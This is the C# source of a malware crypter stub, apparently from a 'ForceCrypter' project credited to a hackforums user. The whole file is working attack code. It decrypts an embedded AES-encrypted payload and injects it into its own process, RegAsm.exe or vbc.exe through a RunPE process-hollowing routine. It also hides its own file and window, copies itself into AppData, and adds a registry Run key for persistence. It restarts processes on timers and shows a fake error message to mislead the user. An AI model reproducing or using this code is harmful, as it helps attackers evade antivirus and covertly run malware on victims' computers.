crypters-scode/C# (ForceCrypter/ForceCrypterSmall/Resources/boop.cs

using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
using System.ComponentModel;
using System.Text;

//Copyright 2016
//Made by mrmutt for hackforums uid=3005497
//Please leave this note here
namespace stupidcancercodeisruiningeverything
{

    static class Program
    {
        [STAThread]
        static void Main0()
        {
            
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.Run(new FrmOne());
        }

    }


    class Reader
    {
        //Reading the encrypted bytes from our resource file
        public static byte[] ReadManaged()
        {
            ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
            byte[] bytes = (byte[])manager.GetObject("encfile");
            return bytes;
        }

    }

    public class FrmOne : Form
    {
        //Making the form hidden
        private void InitializeComponent()
        {
            
            
            SuspendLayout();
            ResumeLayout(false);
            PerformLayout();
            ShowInTaskbar = false;
            WindowState = FormWindowState.Minimized;

        }
        //Self explantory
        bool _startup = true;
        string injectTo = "[inject-replace]";
        bool _fakemessage = true;
        bool _persistence = true;
        string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe");
        string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe");
        public FrmOne()
        {

            InitializeComponent();
            //Basic delay
            Thread.Sleep(5 * 100);
            //Giving a byte array for our encrypted bytes
            byte[] fBytes = Reader.ReadManaged();
            //The encryption key
            string encKey = "[key-replace]";
            //The encryption key in bytes
            byte[] encKey2 = Encoding.UTF8.GetBytes(encKey);
            //Makign a hash for the encryption key
            encKey2 = SHA256.Create().ComputeHash(encKey2);
            //The decrypted bytes
            byte[] eBytes = AESDecrypt(fBytes, encKey2);
            //Crypting process
            string result = Encoding.UTF8.GetString(eBytes);
            //The all decrypted bytes
            byte[] eBytes2 = Convert.FromBase64String(result);
            //If user choosed startup add to startup

            if (_startup)
                AddToStartup();
            //Make the file hidden
            HideFile();
            if (_persistence)
            {
                Process[] pname = Process.GetProcessesByName("[process-replace]");
                Process[] pname2 = Process.GetProcessesByName("[finame-replace]");
                System.Windows.Forms.Timer timer1 = new System.Windows.Forms.Timer();
                System.Windows.Forms.Timer timer2 = new System.Windows.Forms.Timer();
                string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]");
                string path2 = Path.Combine(path, "[finame-replace].exe");
                if (Application.ExecutablePath == path2)
                {
                    timer1.Start();
                    timer1.Interval = 500;
                }
                else
                {
                    timer2.Interval = 500;
                    timer2.Start();
                }
            }
            Thread.Sleep(500);

            //Use the runpe to inject the decrypted bytes into a process of our injection method choice
            if (injectTo == "[itself]")
                REDank.RunDank(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, "", eBytes2);

            if (injectTo == "[regasm]")
                REDank.RunDank(injectionPath2, "", eBytes2);

            if (injectTo == "[vbc]")
                REDank.RunDank(injectionPath3, "", eBytes2);

            //Fake Message
            if (_fakemessage)
            {
                MessageBox.Show("[messagetext-replace]", "[messagetitle-replace]", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            //Stopping the program because runpe is already injected
            Environment.Exit(0);
        }
        private void timer1_Tick(object sender, EventArgs e)
        {
            Process[] pname = Process.GetProcessesByName("[process-replace]");
            if (pname.Length == 0)
            {
                Process.Start("[process-replace]");
            }
        }
        private void timer2_Tick(object sender, EventArgs e)
        {
            Process[] pname2 = Process.GetProcessesByName("[finame-replace]");
            if (pname2.Length == 0)
            {

                Process.Start("[finame-replace]");

            }
        }
        //Decryption method
        public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
        {
            byte[] decryptedBytes = null;

            byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

            using (MemoryStream ms = new MemoryStream())
            {
                using (RijndaelManaged AES = new RijndaelManaged())
                {
                    AES.KeySize = 256;
                    AES.BlockSize = 128;

                    Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
                    AES.Key = key.GetBytes(AES.KeySize / 8);
                    AES.IV = key.GetBytes(AES.BlockSize / 8);

                    AES.Mode = CipherMode.CBC;

                    using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(decrypted, 0, decrypted.Length);
                        cs.Close();
                    }
                    decryptedBytes = ms.ToArray();
                }
            }
            return decryptedBytes;
        }
        //The adding to startup
        public void AddToStartup()
        {

            string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]");
            string path2 = Path.Combine(path, "[finame-replace].exe");

            if (!File.Exists(path2))
            {
                DirectoryInfo di = Directory.CreateDirectory(path);
                File.Copy(Application.ExecutablePath, path2, true);
                RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                if (key != null) key.SetValue("[regkey-replace]", path2);
            }
        }

        public void HideFile()
        {
            //Hiding
            FileInfo f = new FileInfo(Application.ExecutablePath);
            f.Attributes = FileAttributes.Hidden;
        }

    }



    static class REDank
    {

        [DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)]
        private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);

        [DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
        private static extern bool GetThreadContext(IntPtr thread, int[] context);

        [DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
        private static extern bool SetThreadContext(IntPtr thread, int[] context);

        [DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
        private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);

        [DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
        private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);

        [DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")]
        private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);

        [DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
        private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);

        [DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
        private static extern int ResumeThread(IntPtr handle);

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        private struct ProcessInformation
        {
            public readonly IntPtr ProcessHandle;
            public readonly IntPtr ThreadHandle;
            private readonly uint ProcessId;
            private readonly uint ThreadId;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        private struct StartupInformation
        {
            public uint Size;
            private readonly string Reserved1;
            private readonly string Desktop;

            private readonly string Title;
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
            private readonly byte[] Misc;
            private readonly IntPtr Reserved2;
            private readonly IntPtr StdInput;
            private readonly IntPtr StdOutput;
            private readonly IntPtr StdError;
        }
        public static bool RunDank(string path, string cmd, byte[] data)
        {

            int readWrite = 0;
            string quotedPath = string.Format("\"{0}\"", path);

            StartupInformation si = new StartupInformation();
            ProcessInformation pi = new ProcessInformation();

            si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));

            if (string.IsNullOrEmpty(cmd))
            {
                if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
                    return false;
            }
            else
            {
                quotedPath = quotedPath + " " + cmd;
                if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
                    return false;
            }

            int fileAddress = BitConverter.ToInt32(data, 60);
            int imageBase = BitConverter.ToInt32(data, fileAddress + 52);

            int[] context = new int[179];
            context[0] = 65538;

            if (!GetThreadContext(pi.ThreadHandle, context))
                return false;

            int ebx = context[41];
            int baseAddress = 0;

            if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite))
                return false;

            if (imageBase == baseAddress)
            {
                if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
                    return false;
            }

            int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80);
            int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84);

            bool allowOverride = false;
            int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);

            if (newImageBase == 0)
            {
                allowOverride = true;
                newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64);
                if (newImageBase == 0)
                    return false;
            }

            if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite))
                return false;

            int sectionOffset = fileAddress + 248;
            short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6);

            for (int I = 0; I <= numberOfSections - 1; I++)
            {
                int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12);
                int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16);
                int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20);

                if (sizeOfRawData != 0)
                {
                    byte[] sectionData = new byte[sizeOfRawData];
                    Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length);

                    if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
                        return false;
                }

                sectionOffset += 40;
            }

            byte[] pointerData = BitConverter.GetBytes(newImageBase);
            if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite))
                return false;

            int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40);

            if (allowOverride)
                newImageBase = imageBase;
            context[44] = newImageBase + addressOfEntryPoint;

            if (!SetThreadContext(pi.ThreadHandle, context))
                return false;
            if (ResumeThread(pi.ThreadHandle) == -1)
                return false;

            return true;
        }
    }
}